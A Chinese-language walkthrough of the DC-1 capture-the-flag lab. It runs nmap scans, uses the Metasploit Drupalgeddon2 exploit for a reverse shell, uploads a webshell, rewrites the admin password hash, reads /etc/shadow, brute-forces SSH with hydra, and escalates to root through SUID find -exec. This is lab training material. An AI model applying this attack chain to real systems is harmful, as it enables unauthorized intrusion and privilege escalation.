简介

DC-1靶机是为了入门渗透测试的人准备的入门级的靶机,该靶机共有5个flag,其中最后一个finalflag是真的flag,其他都是提示性flag。这个靶机虽然简单,但是还是能学到一些基本的思路的。

接下来让我们畅玩DC-1靶机 。

配置

kali + DC-1,配置NAT模式。

信息搜集

nmap扫描

扫描网段

nmap -sP 192.168.146.0/24

详细扫描找到靶机

nmap -sV 192.168.146.139

可以看到开放了80端口,直接访问看看,看到是Drupal服务,直接上metasploit搜一下

漏洞扫描与验证

使用metasploit

search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS 192.168.146.139
exploit

成功利用漏洞,已经得到反弹shell

getFlag

flag1

flag1就在web根目录下,直接cat即可

shell		//meterpreter下
ls -a
cat flag1.txt

这是个提示的flag,意思是每个好cms都需要配置文件。

那有下一步思路了,就是找到配置文件。

搜索引擎查一下drupal的配置文件目录:/sites/default/settings.php

flag2

cd /sites/default
ls -a
cat settings.php | grep flag
head -n 20 settings.php //查看文件的前20行

刚刚没有扫出3306端口,再扫一下,3306是关闭的。无法远程登陆,那就是需要本地登陆了。

思路:上传webshell,使用蚁剑进行数据库管理。

flag3

web目录再/var/www,将webshell上传到此处,然后连接上



使用获得的数据库账号密码进行数据库的连接

看看user表,发现admin。这里就直接尝试使用update改管理员的密码,发现有权限!

update的密钥用下面这条链接的即可https://www.drupal.org/forum/support/post-installation/2011-11-19/changing-admin-password-in-database

password --- $S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

然后直接admin,password登陆进去。点击上方菜单来的Content,就可以看到flag3



看到perm,马上想到下面的命令。估计是suid提权了。

find / -type f -perm -u=s

再往下看说到找密码,那就想到/etc/passwd和/etc/shadow

说-exec可以想到find有参数-exec可以执行系统命令。

flag4

cat /etc/passwd

cat /etc/shadow



没有权限直接读取密码。

没关系,可以尝试爆破

hydra -l flag4 -p pwd.txt ssh://192.168.146.139



爆破出flag4的密码是orange。

直接ssh连上就有flag4

ssh flag4@192.168.146.139



这里提示flag in root,那就是提权没得跑了

flag5

找一波suid文件



确实有find命令,再看看find命令的帮助。可以执行命令。

接下来执行命令读flag5把。

find flag4.txt -exec "whoami" \;
find flag4.txt -exec "/bin/sh" \;
cat /root/thefinalflag.txt



成功拿到最终的flag。

总结

该靶机确实是入门靶机,非常简单,每一步都提示,而且没有坑。

但是还是能学到部分东西,希望大家也一样。共勉。

接下来总结:常见的提权方式,并学习其用法。

最新文章

  1. 极客编程必备的五大PHP开发应用
  2. java 常量池
  3. 未能写入输出文件 c:/WINDOWS/Microsoft.NET/Framework/v2.0.50727/Temporary
  4. python之7-1类
  5. PHP中判断输入验证码是否一致
  6. Dashboard登录成功后 RuntimeError: Unable to create a new session key.
  7. Web程序员必备的CSS工具
  8. mysql常用基础操作语法(九)~~外连接查询【命令行模式】
  9. 存储那些事儿(三):OpenStack的块存储Cinder与商业存储的融合
  10. HDU 2147 P/N博弈
  11. C# winform自动更新 (附 demo下载)
  12. Think Python 2E中译本 _site
  13. 【css技能提升】完美的 Sticky Footer 布局
  14. ubuntu12.04 64bit libncurses5-dev和libncurses5-dev:i386共存性问题讨论
  15. linux--切换ipython解释器到python3
  16. (网络编程)socketserver模块服务端实现并发
  17. git Please move or remove them before you can merge.
  18. Go Example--for循环
  19. 最完美的Linux桌面软件
  20. HTTP 和 Socket 区别

热门文章

  1. js 任意值变化封装
  2. js 实现端口列表话
  3. Spring Boot 结合 Redis 序列化配置的一些问题
  4. js Array方法总结
  5. 告别炼丹,Google Brain提出强化学习助力Neural Architecture Search | ICLR2017
  6. hdu1429 胜利大逃亡(续)???天天逃亡???
  7. 证明与计算(7): 有限状态机(Finite State Machine)
  8. 深入理解JavaScript中的堆与栈 、浅拷贝与深拷贝
  9. [AI开发]一个例子说明机器学习和深度学习的关系
  10. coding++:高并发解决方案限流技术---漏桶算法限流--demo